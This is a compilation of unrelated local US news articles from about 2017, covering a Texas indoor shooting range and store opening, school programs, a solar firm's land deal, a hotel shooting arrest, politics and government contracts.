Schiff mostly avoided naming Conaway directly, but his criticism was no less a sharp contrast to earlier this year. Back in May, Schiffs office released a statement to the Tribune with effusive praise for the appointment of Conaway as new head of the politically charged investigation, as did a number of other Democrats on the committee.
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THE FACILITY

Walking through the sliding doors of the Ally Outdoors facility, what comes into view is not the expected sight of a retail gun store.

Visitors walk through an elegant open entryway, past a trendy cafe, and into a well-lit showroom with high-quality outdoor items displayed openly.

A very Texan, come and stay a while mentality pervades the showroom, as customers are invited to handle the items on display.

At one end of the store, two customers pass a CZ 12 gauge shotgun between them, discussing the reliability of the gas operating system, and at another end of the showroom, a customer hoists a Leupold rifle scope up to his eyes, testing the clarity of the glass firsthand before making a purchase.

The 60,000 square-foot facility, featuring a range, gunsmith, VIP lounge and restaurant, is one of the largest indoor range facilities in the state of Texas, according to Ally Outdoors officials.

Midland had a need, says Collier Pennington, chief operations officer of Ally Outdoors. We can expand the quality of life as far as finding outdoor items and helping people out.

James Gripp, chief executive officer, agreed, saying Ally is not a place for just certain people. Its a place for everybody. Families, women, children, everybody can come enjoy this place.

An on-site cafe features products from Midland Meat Company and also offers a kids menu.

Local Midlander Kali Davis, chef of the Ally cafe, said she is really proud of this new place in Midland for local people to come eat fresh food, good food, for lunch hour.

Im proud that Midland is getting some cool new places, Davis said.

Speaking with the owners and employees of Ally Outdoors, it is obvious how proud they all are of what Ally Outdoors brings to the Permian Basin.

Its finally here and its better than we expected, Pennington said

THE RANGE

The Ally Outdoors range features 35 individual shooting lanes.

The total divides out to five 100-yard lanes, 12 standard 25-yard lanes, six tactical 25-yard lanes, six VIP membership lanes and six archery/pellet gun lanes.

Isaac Urias, range manager at Ally Outdoors, brags that it is very rare for an indoor range to have 100-yard lanes.

It allows you to get that perfect zero, said Urias, and you dont have to worry about the outside conditions.

Urias is also quick to address a common issue that comes with shooting a rifle at an indoor range; excessive noise.

Urias pointed out baffling installed at the end of the lane openings that serve to keep muzzle blast from entering the adjacent lanes. Sound deadening material and angular baffling was also present on the walls and ceiling the entire length of the 100-yard bay.

It has been my personal experience when shooting common sporting rifles at indoor ranges that wearing foam ear plugs under ear muffs (doubling up the ear protection) is the most comfortable way to endure the noise.

At Ally Outdoors, I removed the foam plugs and was completely comfortable with a standard ear muff, without electronic noise dampening, even standing a few feet from a rifle featuring an aggressive muzzle brake.

Moving on to the standard 25-yard bays, they appeared similar to those in other indoor ranges. I did notice an abundance of sound deadening material in these bays as well. The target controls are electronic and represent the latest in range technology.

The real fun began once I entered the tactical bays.

Tactical bays are available to those who choose to pay for the mid-level and high-level club memberships. They feature wider lanes with smart target carriers that have interactive drills. Digital touch screens are positioned in each bay and are used to control the interactive shooting experience.

Targets will change distance and present themselves at randomly timed intervals, increasing the level of marksmanship and discretion that is required to make a hit.

The top tier VIP membership package ensures access to the same tactical bays but in a separate, private VIP area.

THE RETAIL SPACE

The 60,000 square foot facility dedicates 8,500 square feet to retail sales.

Friendly staff members appeared eager to assist and were seen conversing with customers.

Dane Bowden, retail manager at Ally Outdoors, rattled off a list of premium outdoor clothing brands represented in the store, including Arcteryx, Vertx, First Lite, Sitka and Oakley.

Fishing equipment, clothing and knives abound in the store, but when it comes to guns, the amount of inventory on hand at Ally Outdoors is staggering to behold.

Many of the popular sporting arms are displayed on open racks where prospective customers can handle them to their hearts content.

Gun prices at Ally Outdoors are competitive, even compared to internet sellers, and many hard-to-find items were on hand at reasonable prices.

Pistols in the Sig Sauer Legion series are popular at the moment, and there were three variations displayed at Ally Outdoors, including a less common single-action P226 version. The price on that particular firearm was identical to the lowest advertised price I could find online using a popular price-scouring search engine.

I also noticed two uncommon Glock 19 models in inventory, one a RTF (Rough Textured Frame) and the other a Gen 4 in full flat dark earth livery, and both were within $50 of the lowest advertised price I could find online. After adding shipping and FFL transfer fees the difference in price for the online items is hardly noticeable.

SAFETY

It was apparent that safety was a top priority at Ally Outdoors.

The staff is in constant communication via radio headsets and all areas of the facility are monitored.

Guns enter and exit the range in closed cases. New shooters, identified via a questionnaire on the mandatory waiver, receive extra attention.

Ranges are monitored remotely, via computer and human overwatch. I witnessed this system in action during my visit to the 100-yard range, when the door to the bay did not close completely. Within one minute the automated range software identified a fault with the door that could affect the ventilation and notified staff members to close the door.

MEMBERSHIP

(Prices are introductory rates and are subject to change after Dec. 15)

Military/Law Enforcement/First Responder discount - Half-off registration fee, $10 off monthly

Non-member walk-ins

$20/hr  25-yard range

$30/hr  100-yard range

Standard Individual Membership

25-yard bay access

100-yard bay access at $10/hr

Ability to reserve your lane online

Eye and ear protection provided

Two basic standard targets/day provided

$10 for each additional guest

One-time registration fee: $100

Monthly membership fee: $50

(discounted rate for paying one year up front: $550)

Standard Family Membership

Primary user, secondary user, 2 kids under 21 years old

25-yard bay access

100-yard bay access at $10/hr

Ability to reserve your lane online

Eye and ear protection provided

Two basic standard targets/day provided

$10 for each additional guest

One-time registration fee: $150

Monthly membership fee: $75

(discounted rate for paying one year up front: $825)

Tactical Individual Membership

Tactical 25-yard bay access

100-yard bay access

Ability to reserve your lane online

Eye and ear protection provided

Basic standard targets provided

One specialty target/day provided

25 guest passes/year

$10 for each additional guest

Two complimentary FFL transfers/year

5 percent retail discount

10 percent training/event discount

One-time registration fee: $150

Monthly membership fee: $125

(discounted rate for paying one year up front: $1,375)

Tactical Family Membership

Primary user, secondary user, 2 kids under 21 years old

Tactical 25-yard bay access

100-yard bay access

Ability to reserve your lane online

Eye and ear protection provided

Basic standard targets provided

One specialty target/day provided

25 guest passes/year

$10 for each additional guest

Two complimentary FFL transfers/year

5 percent retail discount

10 percent training/event discount

One-time registration fee: $200

Monthly membership fee: $185

(discounted rate for paying one year up front: $2,035)

Small Business Membership

Four members

Tactical 25-yard bay access

100-yard bay access

Ability to reserve your lane online

Eye and ear protection provided

Basic standard targets provided

One specialty target/day provided

100 guest passes/year

$10 for each additional guest

Two complimentary FFL transfers/year

5 percent retail discount

10 percent training/event discount

One-time registration fee: $1,500

Monthly membership fee: $200

(discounted rate for paying one year up front: $2200)

VIP Membership

Primary user, secondary user, 2 kids under 21 years old

Private tactical 25-yard bay access

100-yard bay access

Ability to reserve your lane online

Eye and ear protection provided

Basic standard targets provided

Specialty targets provided

25 guest passes/year

$10 for each additional guest

Two complimentary FFL transfers/year

10 percent retail discount

15 percent training/event discount

Free basic rentals

Free basic machine gun rentals

15 percent private event discount

VIP lounge access with concierge

Conference room access

Snacks and drinks

One-time registration fee: $3,000

Monthly membership fee: $250

(discounted rate for paying one year up front: $2,750)

VIP Corporate Membership

Four members

Private tactical 25-yard bay access

100-yard bay access

Ability to reserve your lane online

Eye and ear protection provided

Basic standard targets provided

Specialty targets provided

100 guest passes/year

$10 for each additional guest

Two complimentary FFL transfers/year

10 percent retail discount

15 percent training/event discount

Free basic rentals

Free basic machine gun rentals

15 percent private event discount

VIP lounge access with concierge

Conference room access

Snacks and drinks

One-time registration fee: $6,000

Monthly membership fee: $400

(discounted rate for paying one year up front: $4,400)
WALLINGFORD  Lyman Hall High School junior Meredith DeNegris plans to pursue a career in special education after she graduates, but the 16-year-old is already helping special education students at her school.

For her capstone project, DeNegris created Unified Physical Education  a physical education course tailored for special education students.

The new course will pair regular education students with special education students to teach them skills, said Anthony Loomis, health and wellness curriculum resource teacher.

I wanted to create a PE program for (special education) students so they have a specialized class based around their exercise needs and abilities, because a lot of their needs are not met in the regular PE class, DeNegris said.

Special education students are currently mixed into regular physical education classes with about 20 to 25 other students and complete modified lesson plans.

Youre going to get the students that are in need of that differentiated instruction in an environment that doesnt feel like its going to separate them from the regular education class, said Lyman Hall physical education teacher Kahseim Outlaw, who will teach the new course beginning next school year.

General education students will also benefit, Loomis said, because theyre learning how to work with special education students and the best way to learn something is to teach someone else.

The program was approved by the Board of Education this week.

DeNegris said she was inspired by her mother, who works as a speech pathologist helping students with disabilities. For her capstone project, a service project that students are required to complete to graduate, DeNegris wanted to do a project helping special ed students, but I didnt know exactly what.

Two Lyman Hall special education teachers gave DeNegris the idea to create a unified physical education course, something that has already been started in other Connecticut school districts, including Glastonbury, Loomis said.

DeNegris presented the new course to the Board of Education earlier this month. Board member Michael Votto told DeNegris he wishes she could give that presentation to our legislators because I think more people need to hear your ideas.

Board member Karen Hlavac said the course is a great idea because its an opportunity to integrate students with special needs with their typical peers.

Loomis said the new class will ideally have between 18 and 24 students, with two regular education students for every special education student. Two students will be assigned to work with one special education student under the supervision of Outlaw.

Sheehan physical education teacher Mike Tyrrell piloted a similar program at Sheehan last year and it went very well, Loomis said. DeNegris has worked with Tyrrell in coming up with lesson plan ideas, Loomis said.

DeNegris said the class will aim to prepare students to enter the workforce after graduating by teaching them physical movements they may perform in the workplace  for example, teaching students how to properly squat in case they work a job that requires them to lift items.

The goal is to keep it as close to a regular education class as possible with modifications put in, Outlaw said. Well have an opportunity to tailor our lessons to specific things.

Regular education students will be able to earn capstone credits by participating in the class, which will will meet every other day for a semester, Loomis said.

DeNegris, who recently held a meeting for students, said there is a lot of interest among her classmates.

This is such a positive thing that were expecting a lot of kids to be interested, Loomis said.

mzabierek@record-journal.com

203-317-2279

Twitter: @MatthewZabierek
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San Antonio-based Mission Solar Energy has returned ownership of its land to the Brooks Development Authority in an agreement that will allow it to rent back the property for its plant while saving up to $1.6 million in annual property taxes.

The site houses the headquarters and manufacturing facility for solar manufacturer Mission Solar and the headquarters of its parent company, OCI Solar Power.

Mission Solar took ownership of the land in Sept. 2016, according to the Bexar County Appraisal District. The property has been appraised at $56 million.

OCI Solar spokeswoman Leslie Garza said Mission Solar reinstated its original lease on Dec. 8.

As part of the reinstatement of lease agreement, Mission Solar Energy will resume annual rental payments and make a good faith effort to employ a total of 200 full-time employees by January 1, 2023, she said in an email.

The company currently has 150 employees and plans to hire 50 more, Garza said.

Until Sept. 2016 Brooks owned the property under a 10-year property tax abatement that was signed with Nexolon America, a subsidiary of South Korean-base Nexolon Co. Ltd., in 2013. The agreement expires in 2023.

South Korean-based OCI Co. Ltd. bought Nexolon America in 2013 and turned it into Mission Solar.

Brooks President and CEO Leo Gomez said that Mission Solar had the right to assume ownership of the land at any time during the 10-year agreement and that Brooks re-assuming ownership of the property will help Mission Solar to recover and get them to a point where theyre succeeding.

Gomez said the property tax abatement agreement with Mission Solar will still expire in 2023.

Mission Solar laid off 257 employees between November 2016 and March 2017 as it struggled to compete with foreign solar producers. The company has said it is focusing its efforts on residential and commercial rooftop solar after fulfilling utility-scale contracts for multiple solar projects built to provide power to San Antonios city-owned utility CPS Energy.

The solar manufacturer was forced to repay all of its tax savings to San Antonio after failing to meet employment requirements set under the agreement. Mission Solar will pay back $601,000 over two years.

The solar industry across the U.S. and the world has taken a hit, Gomez said, adding that its fortunate that Mission Solar survived the downturn.

Rye Druzin is a San Antonio Express-News energy reporter. Read more of his stories here. | rdruzin@express-news.net | @druz_journo
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The chairman of the board of the embattled Montrose Management District will resign at the end of the year, the district has confirmed.

"It is time for me to step aside for others to carry-on in the care and leadership of Montrose," said Claude Wynn in his resignation letter.

The letter was addressed to David Hawes of Hawes Hill & Associates, a Houston consulting firm that manages the Montrose District and other management districts in the area.

RELATED: Montrose Management District gets earful from irate property owners

Wynn's resignation follows a judge's order earlier this month that the district stop issuing, collecting or spending assessments from commercial property owners. Property owners had sued the district claiming it hadn't taken the proper steps to beginning making the assessments.

Last week, the district said it was disappointed about the order, but that it was "not surprised based on the complexities involved in this case."

"The District's position has not changed ... that it is operating lawfully within the strict rules and governance requirements mandated by the state legislature. The District looks forward to having an opportunity to argue its side," it said in an emailed statement.

LISTEN: Montrose, can you manage this?

The Montrose Management District is one of dozens in the Houston area created by the Legislature to promote economic development and make improvements to public areas in individual neighborhoods. Commercial property owners pay for the improvements through assessments.

Property owners, however, have taken the district to court and demanded its dissolution, claiming they have not received any benefits from the district or its projects and that the assessments amount to double taxation.

A spokesman for the district confirmed Wynn's resignation and said it is not effective until his replacement is appointed and sworn in. He also said the district's next board meeting is scheduled for the second half of January. Wynn did not respond to a request for comment from the Chronicle.
An off-duty Richmond police officer who allegedly unleashed a barrage of shots inside the Four Seasons Hotel in San Francisco over the weekend was identified as 45-year-old Phillip Sanchez, said Officer Grace Gatpandan of the San Francisco Police Department.

Sanchez was booked on suspicion of four felony counts of vandalism, assault with a deadly weapon, shooting into an inhabited dwelling and willfully discharging a firearm with gross negligence, Gatpandan said.

Sanchez was described as acting erratically and talking about spirits before opening fire, according to police dispatch recordings of the episode.

A guest at the Market Street hotel reported Sanchez to San Francisco police just before 5 a.m. Sunday and identified him as a Richmond police officer, according to the recordings.

Dispatchers told responding officers that Sanchez was walking erratically around the hotel and talking about spirits while trying to get security officers to enter a room and saying that security knows what it is in there.

A few minutes later, six to seven gunshots were reported on the 17th floor of the hotel. A bullet hole was also found on the 12th floor, according to the recordings.

Guests were directed to shelter in place while police negotiated with the officer, said Officer Robert Rueca of the SFPD.

A handgun and shell casings were recovered at the scene, Rueca said, and Sanchez surrendered peacefully at 6:30 a.m. No injuries were reported.

A spokeswoman for the Four Seasons confirmed that the officer was a guest at the hotel.

Lt. Felix Tan of the Richmond Police Department said that Sanchez has been placed on administrative leave pending an internal investigation.

Charges have yet to be filed against Sanchez. The San Francisco district attorneys office said the case had not been referred to it by police as of Monday.

Annie Ma is a San Francisco Chronicle staff writer. Email: ama@sfchronicle.com Twitter: @anniema15
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BRIDGEPORT  The city-run Lighthouse program has, belatedly, been awarded a $485,880 state grant for each of the next two years to support its after-school program at nine city schools.

The award covers three separate grants of $161,960 each to be awarded in 2017-18 and again in the 2018-19 fiscal year, barring further state budget cuts. This years awards were delayed due to the late passage of the state budget.

The city school district, meanwhile, failed in its bid to win state funding for a separate, new after-school program developed in partnership with Yale University.

The grant applications submitted by the Bridgeport Board of Education to the State After School Grant Program did not score high enough to be funded, said Peter Yazbak, a state Department of Education spokesman.

Repeat applicants such as the Lighthouse Program are automatically awarded an extra 30 points during the review process. This year, the city application was submitted without the superintendents signature. In August, the Board of Education, on a 5-3 vote, still directed Schools Superintendent Aresta Johnson to partner with the city on its proposal.

Local school officials have been at odds with the city over its after-school program because school board members wanted the city to chip in for the cost of security, custodians and supplies.

Last summer, the district almost barred the city from running a Lighthouse summer program until a compromise was reached. At the same time, Johnson submitted an application for a program that the board hoped would make after school more of an extension of the school day.

The city partners its Lighthouse Program with the Discovery Museum, Kennedy Center, Neighborhood Studios, Maritime Center, Action for Bridgeport Community Development and the YMCA.

We thank the state for having the confidence in our ability to serve children and families in a safe and supportive after school and summer environment, Tammy Papa, director of Youth Services for the city, said.

The program also receives federal funds and parent fees.
NEWTOWN  The group charged with choosing a design for a memorial to victims of the Sandy Hook massacre wondered what it would do if it asked for proposals and none of the blueprints submitted were suitable.

That could still happen, of course, but with the deadline for submissions now passed, and 150 design proposals sent in from across the United States and 20 other countries, its less likely that the Sandy Hook Permanent Memorial Commission will be disappointed.

We are really pleased with the quantity of submissions weve received, said Kyle Lyddy, the groups chairman.

The group is pleased  and overwhelmed.

So many submissions came in at Fridays deadline, Lyddy said, that the group was still uploading designs Tuesday.

The memorial commission will begin reviewing the proposals one by one and in public starting Jan. 3.

Just how many proposals the group will be able to review in one sitting remains to be seen. Four public review dates have been set, with the likelihood that more dates will have to be scheduled in February.

The design review brings Newtown to the final phase of a 41/2-year process to build a memorial to the 20 first-graders and six educators slain at Sandy Hook School on Dec. 14, 2012.

The winning design will help Newtown and everyone who was touched by one of the worst crimes in Connecticut history balance grief with gratitude.

The memorial should communicate the tragic and sudden loss of the innocent lives and the silence this event left behind, but at the same time celebrate the strength and the courage of the educators who died protecting the children, read the guidelines released by the group in the fall.

The memorial will be erected in a quiet 5-acre meadow in the heart of Sandy Hook  near enough to the $50 million replacement school to hear sounds from the playground on a still day.

The 12 members of the memorial commission will focus their first round of design review on the creativity of each application, Lyddy said.

The memorial commission, which includes parents of children who died in the Sandy Hook massacre, will be assisted by an advisory panel that includes Joe Daniels, the former president of the 9/11 Memorial, and Pat Llodra, the recently retired first selectman.

The plan is to narrow down the designs to about one dozen. At that point, public participation will be encouraged, and the review will include scrutiny of the designers themselves, Lyddy said.

Once the list of one dozen is narrowed again to a short list, the commission would make a recommendation to the Board of Selectmen.

The town has earmarked $250,000 in its capital budget toward the memorial. Another $160,000 is available for the memorial from donations.
AUSTIN -- If it feels like Michael Quinn Sullivan's legal problems have been simmering in the background of Texas politics forever, there's a reason for that.

It was back in 2012 when Sullivan, spokesman and community organizer for Midland oilman and Empower Texans Chairman Tim Dunn, was first slapped with a formal complaint of illegal lobbying at the Texas Capitol.

Sullivan's attorneys and lawyers representing the Texas Ethics Commission again clashed at an appeals court last week. Because the process has dragged on for so long thanks to the legal maneuvering of Sullivan's attorneys and his attempt to evade justice in Denton County, a brief history of the case is appropriate before examining the latest legal arguments.

In the spring of 2012, Republican officeholders including former Chairman Jim Keffer, R-Eastland, complained to the Ethics Commission that Sullivan had engaged in lobbying members of the Legislature without registering as required by Texas law.

It's a law that lobbyists at the Capitol follow for the sake of transparency: A person registers as a lobbyist so that journalists and Texans at large can see, via the TEC's website, who is being paid to represent which interests when trying to influence lawmakers and officials in the executive branch.

The law isn't overly broad, as Sullivan has argued. It is rather specific. For anyone who is confused, the TEC has this handy guide online to help individuals determine whether they're required by law to register as a lobbyist.

Sullivan had long registered as a lobbyist for the Texas Public Policy Foundation, for instance, and suddenly decided he would not register anymore in 2010 and 2011. That's even though he continued to be paid to engage in direct communication with lawmakers through meetings in their offices and direct emails, per evidence presented to the Ethics Commission.



The full story can be found in the Quorum Report. Copyright 2017, Harvey Kronberg,http://quorumreport.com/index.cfm, All rights are reserved. This story is presented as part of the Houston Chronicle's collaboration with Quorum Report. For inside information on Texas politics and government and to sign up for real-time updates, go here.
Advocates for women in the military have returned to San Francisco federal court to argue in a lawsuit that the Army and Marine Corps undermined womens recently won access to combat service by barring them from battalions that dont have at least two female officers in place.

The lawsuit, filed Monday, also challenged the Marine Corps for placing men and women training for combat in separate boot camps.

Nearly a century after women first earned the right of suffrage, the (Defense Departments) segregation policies and practices still deny women a core component of full citizenship: serving on equal footing in defense of our nation, not as second-class citizens, lawyers for the Service Womens Action Network and four servicewomen said in a court filing.

The policy is the same old sex segregation by a different name, said the networks chief executive, Lydia Watts.

The Defense Department did not respond to a request for comment.

The case is an updated version of the plaintiffs 2012 lawsuit in San Francisco challenging a 1994 Defense Department policy that excluded women from all 238,000 positions in combat units in every military branch. Two months later, in January 2013, Defense Secretary Leon Panetta announced an end to the policy and said women would be allowed into all ground combat battalions by January 2016.

But the Pentagon has not followed through on that commitment under either President Barack Obama or President Trump, the womens lawyers said in their new filing. They cited the departments April 2016 announcement of a Leaders First policy for the Army and Marines, allowing women to join a combat battalion only after it had at least two female officers.

While military officials have described the policy as a step toward gender integration, it actually sets up servicewomen to fail, said the attorneys from the American Civil Liberties Union and a San Francisco law firm.

They said only a limited number of military units  and National Guard units in only two states, Colorado and New Hampshire  have met the Leaders First requirement, while others continue to exclude women and perpetuate stereotypes about womens fitness for service.

Despite the long-standing ban, the suit noted, women have served in the U.S. military and faced enemy fire since the Revolutionary War. More than 280,000 women have served in Iraq and Afghanistan, the suit said. Among them were two plaintiffs: Marine Capt. Zoe Bedell, who led a 43-member female team that went on patrols with male units in Afghanistan, and Army Sgt. Jennifer Hunt, who was wounded by shrapnel in Iraq in 2007 and was awarded a Purple Heart.

The Marines sex-segregated basic-training camps have also been a failure, the suit said. It cited military newspaper reports that only 25 percent of women who attended the boot camps passed tests required to advance to the next stage of combat training, compared with 56 percent of female graduates from the Armys integrated training camps.

Although the new filing challenges actions of Obamas Defense Department, it also said Trump and his close advisers have expressed extreme hostility to gender integration in the military.

Four months after Panettas 2013 announcement, the suit said, Trump tweeted that the generals and top military brass never wanted a mixer but were forced to do it by very dumb politicians who wanted to be politically C? Future Defense Secretary James Mattis opposed allowing women in combat units in 2015, and declared in a court filing last month that he could not commit to maintaining the policy, the suit said.

Bob Egelko is a San Francisco Chronicle staff writer. Email: begelko@sfchronicle.com Twitter: @egelko
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Art is the topic of conversation this holiday season for Cypress Lakes senior Sarah Hillebrand.

A holiday ornament designed by the student was selected to represent Texas District 138 and state Rep. Dwayne Bohac, R-Houston, on the 2017 Christmas tree, which is being displayed in the House Chamber of the Texas Capitol during the holiday season.

According to the Texas House of Representatives, each year house members are invited to select a constituent to imagine and create a visual representation of what makes their district special.

"I understand the significance of this given opportunity, and I feel highly honored to be chosen as the student artist to represent our district," Hillebrand said. "I am thrilled to be able to make my mark and contribute to the House Chamber Christmas Tree this year."

The 23-foot, Texas-grown Christmas tree, which is a Virginia Pine, originated from The Elves Christmas Tree Farm in North Texas. Ornaments chosen from all 150 Texas House districts adorn the tree that is displayed at the Texas Capitol.

Hillebrand is the Cy-Lakes High School president of the chapter of National Art Honor Society. The school's art society's co-sponsors Jessica Green and Lindsay Townsend, selected Hillebrand.

"Sarah is the president of our school's chapter of National Art Honor Society, which she was elected by her peers," Green said. "She is a hardworking, passionate student in the art studio, in addition to National Art Honor Society."

Recent devastation of Hurricane Harvey inspired Hillebrand's ornament design. The art student incorporated Houston's city skyline beneath blue water on the ornament.

The unity fellow Houstonians showed during Hurricane Harvey also inspired Hillebrand. She felt the emotional impact of the storm was very important. This is the ninth year that a picture and description of each ornament will also be published in the House of Representatives' 2017 ornament book.

After her high school graduation, Hillebrand plans on attending college to study graphic design. She also has plans to earn a certificate in aerial photography to assist the Civil Air Patrol.

The Christmas tree will stand in the House Chamber of the Texas Capitol until Jan. 2. Hillebrand considers art to be relaxing and even finds herself losing track of time while she is immersed in her art.

"Art allows you to transfer your thoughts and observations to a physical form. There are no rules in art, which allows you to make anything from unbelievably realistic to whimsical and anything in between," Hillebrand said. "When things are difficult to explain, it is easier and more impactful to show something visual. After all, a picture is worth a thousand words."
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At the U.S. Postal Service Mail Processing Center in north Houston, workers feed sorting machines and conveyor belts with thousands of letters, parcels and packages that move throughout the facility.

"For the Houston area, this is the first stop," said Cedric Houston, lead manager of the distribution operations of the center.

Nestled in East Aldine and about five miles south of the George Bush Intercontinental Airport, the center's machines run day and night to sort through the mail, which reaches the busiest period during the week before Christmas.

Nationwide, the U.S. Postal Service expects to deliver 15 billion pieces of mail during the holiday season.

At the north Houston center, an estimated 18 million pieces of mail are processed daily with approximately 1,900 employees working during one of three shifts around the clock, said Houston.

The center receives mail for locations as far away as Bryan and Galveston, he said.

Houston said the center begins planning for the peak season during the summer to be able to handle the increased in volume.

"People, equipment, materials, boxes, more transportation, extra trips," he said. "Everything goes into that peak planning process."

While machines do the bulk of the work collecting, separating and sorting mail by scanning bar codes, the process is not entirely automated, as workers sift through the items the machines can't sort.

Usually, packages or letters that are illegible or lacking the correct information aren't able to reach their intended destinations, Houston said.

"The biggest thing is missing information and postage," he said.

Around the facility, the bustle of traffic is deafening as workers drive forklifts and honk the horn to alert pedestrians to move to the side as they move mail in bulk.

Other workers feed machines letters and packages or help the machines complete sorting by pushing items into the correct pouches, trays or boxes.

"We're the key to the country," said Kanickewa Johnson, spokeswoman for U.S. Postal Service. "We connect the dots. We're in every home, every community. We're in rural areas. We go to the places where a lot of other companies won't go."

Once sorted, the mail is then moved to a staging area to be picked up and sent to the post offices, where carriers then deliver them to addresses.

"This is where the magic actually happens that makes it possible for the carriers to deliver them," Johnson said.

Postal services in the greater Houston area came to a standstill during Hurricane Harvey as record flooding prevented postal offices services from receiving or delivering the mail.

While the facility did not suffer any water damage, workers were not able to able leave or to go into the building due to high waters on the surrounding roads, said Johnson.

The mail that did reach the center was sorted just like any other day until the conditions improved enough to resume delivery operations.

"We cranked up the machines and we got it going," Johnson said. "We're not into storing mail, we're into delivering mail."
Rotary Club of Richmond

The Rotary Club of Richmond has several priority organizations it supports every year, and Access Health has been one of those top priorities for the last several years.

Access Health is a community health services organization providing primary healthcare services to low-income and uninsured residents in Fort Bend and Waller counties.
WASHINGTON - The Environmental Protection Agency is canceling a $120,000 "media tracking" contract it recently signed with a Republican public affairs and opposition-research firm amid questions about the firm's political work and outrage from lawmakers on Capitol Hill.

The EPA had defended the contract with Definers Public Affairs, saying it hired the firm merely to act as a sophisticated news clipping service. An agency spokesperson confirmed Tuesday that the EPA and the company had agreed to terminate the contract. In a separate conversation, the company's president, Joe Pounder, said the decision was a mutual one.

"Definers offered EPA a better and more efficient news clipping service that would give EPA's employees real-time news at a lower cost than what previous administrations paid for more antiquated clipping services," Pounder said in an emailed statement. "But it's become clear this will become a distraction."

Pounder also said the firm would no longer offer the service to government agencies, despite the fact that four agencies had expressed interest in similar contracts.

The reversal comes days after Mother Jones first reported details of the contract with the Virginia-based public relations firm, which specialized in conducting campaign-style opposition research but also offers "a full-service war room that monitors a wide-range of media platforms on a continuous basis," according to its website. Later, the New York Times detailed how a vice president at the firm, Allan Blutstein, had filed at least 40 Freedom of Information Act requests to the EPA this year, many of which sought the correspondence of employees who been critical of the new administration.

Both the EPA and Definers had maintained the contract was simply for a sort of real-time clip service that would keep officials up to date about media coverage in a round-the-clock news environment. They also noted that at $120,000, it was significantly cheaper than the $207,000 contract the EPA previously had for a similar service through Bulletin Intelligence, which is part of the international public relations firm Cision.

Pounder and Matt Rhoades, the founders of Definers, are veteran GOP political operatives, having worked respectively for the Republican National Committee and various Republican candidates, including Marco Rubio and Mitt Romney. They also previously founded the conservative political action group America Rising, whose "sole purpose is to hold Democrats accountable and expose any hidden hypocrisy," according to its website.

An arm of America Rising, known as America Rising Squared, which claims to combat "big government liberal policies and the special interests that support them," earlier this year launched ConfirmPruitt.com. In videos, op-eds, fact sheets and a petition, it worked to make sure Scott Pruitt was approved by the Senate for the EPA administrator post.

Before news broke Tuesday that EPA and Definers had decided to terminate their contract, two Democratic senators wrote to Pruitt, demanding more information about how the agreement came to be and urging him to cut ties to the company "immediately."

"EPA's contract with Definers risks further politicizing the agency and is another instance of EPA under your tenure becoming captured by the industry it regulates," Sen. Sheldon Whitehouse, D-R.I., and Sen. Kamala Harris, D-Calif., wrote. "At a minimum, it presents an appearance of impropriety to which you as administrator should never be a party."

Previously, the liberal nonprofit group, Public Citizen, had filed a formal complaint on behalf of firms that provide similar services, questioning the process the agency used in awarding the contract to Definers. It claims the contract was "impermissibly awarded on a no-bid basis." The EPA said Tuesday one other vendor had responded to a notice about the contract posted on federal websites, but it ultimately was awarded to Definers. Agency officials would not disclose the identity of the other firm.

On Tuesday, EPA spokesman Jahan Wilcox said the agency would continue to look for another firm to handle its media monitoring.

"How we consume the news has changed," he wrote in an email, "and we hope to find a vendor that can provide us with real-time news clips at a rate that is cheaper than our previous vendor."
RICHMOND, Va. - Don't think Virginia's upcoming General Assembly session is going to be a lively affair?

Then check social-media feeds from the weekend.

Democrats riding high on their big Virginia election victories last month spent much of Sunday slamming their own incoming governor, Ralph Northam, for comments he made about bipartisanship and Medicaid.

"I would urge Ralph Northam and his staff to clarify his Medicaid position as fast as possible or he'll deserve the wrath he gets from Democrats everywhere. He ran on a promise to expand the program to 400,000 Virginians. Period." tweeted former Obama speechwriter Jon Favreau, whose Pod Save America podcast helped whip up progressive support for Northam before the election.

Northam said in an interview published Sunday in The Washington Post that he supports outgoing Gov. Terry McAuliffe's efforts to expand Medicaid, but he said that the system faces spiraling costs and that he would like to see "managed care" reforms to make it more efficient.

He also pledged to work with Republicans to design that system, as part of an overall sentiment of bipartisanship that includes refusing to use his powers of appointment to pluck GOP legislators from a closely divided General Assembly to create a Democratic majority.

Virginia Democrats, led by McAuliffe, have made expanding Medicaid under the federal Affordable Care Act a priority for the past four years. Northam ran on a promise to extend health insurance to the nearly 400,000 low-income Virginians who are eligible under Medicaid expansion.

The suggestion that the new governor might tie that expansion to efforts to rein in costs, something Republicans have undertaken in other states, was anathema to many in his party's progressive wing.

"Ralph, people elected you because you're a Democrat and they liked the things you promised," one activist tweeted. "They wanted a Democratic governor, not a bipartisan semi-Republican."

Former congressman Tom Perriello, who ran a sharply progressive campaign against Northam in the Democratic primary but later worked to get him elected, was among the first to react to Northam's comments.

"Blocking Medicaid expansion was a major reason so many Republicans lost their House seats in VA this year. Full expansion should be bi-partisan, and every legislator in Richmond should have to cast a public vote before 2019 on a policy that is morally right & good for VA economy," Perriello tweeted.

The hard-left blog Blue Virginia compiled a long list of angry comments from Democrats in Virginia and nationwide, criticizing not only Northam's Medicaid statements but also his refusal to reshape the legislature as being "politically incompetent."

Northam responded Sunday with a tweet promising to "continue to advocate for Medicaid expansion because it is a no-brainer for Virginia families, our budget, and our economy. We can also come together on smart policy choices that will allow us to deliver better care at lower cost."

Northam had said in the interview with The Post that he was committed to getting federal dollars for Medicaid expansion, and that "I do want to try to bring those resources back into Virginia and tie it into Medicaid reform." He suggested that some able-bodied Medicaid recipients could be required to work.

A spokesman said Monday that Northam did not intend to make expansion contingent upon reform, only that he would like to pursue both.

Blue Virginia blogger Lowell Feld said that Northam's clarifications "sure sounded like strong support for Medicaid expansion. Good to see. As always, of course, the devil's in the details."

Northam's emphasis on bipartisanship got a warm reception from at least one corner in Richmond: Republican lawmakers.

"I'm very encouraged by the comments of the governor-elect," Republican Del. S. Chris Jones, House Appropriations chairman, said Monday after McAuliffe unveiled his final budget proposal.

State Sen. Barbara Favola, D-Arlington, said she thought the social-media flap was overblown by outsiders. "I'm not sure there were a lot of Virginia Democrats to begin with concerned with Ralph's comments," she said.

Favola said Northam was smart to open the door to compromise with Republicans who still control the General Assembly. "We'll have to pick off some Republican votes in each chamber to get Medicaid expansion through there," she said.
NORWALK  A visit to Norwalk High School by the senior White House adviser Ivanka Trump sparked debate among parents who were unhappy they were not notified about the event.

The trip was kept secret for security purposes, and though Secret Service and local police provided additional surveillance, most in the school community were unaware until after it was over.

Trump, who was invited by IBM CEO Ginni Rometty, toured three classrooms and visited with a handful of students in the Norwalk Early College Academy.

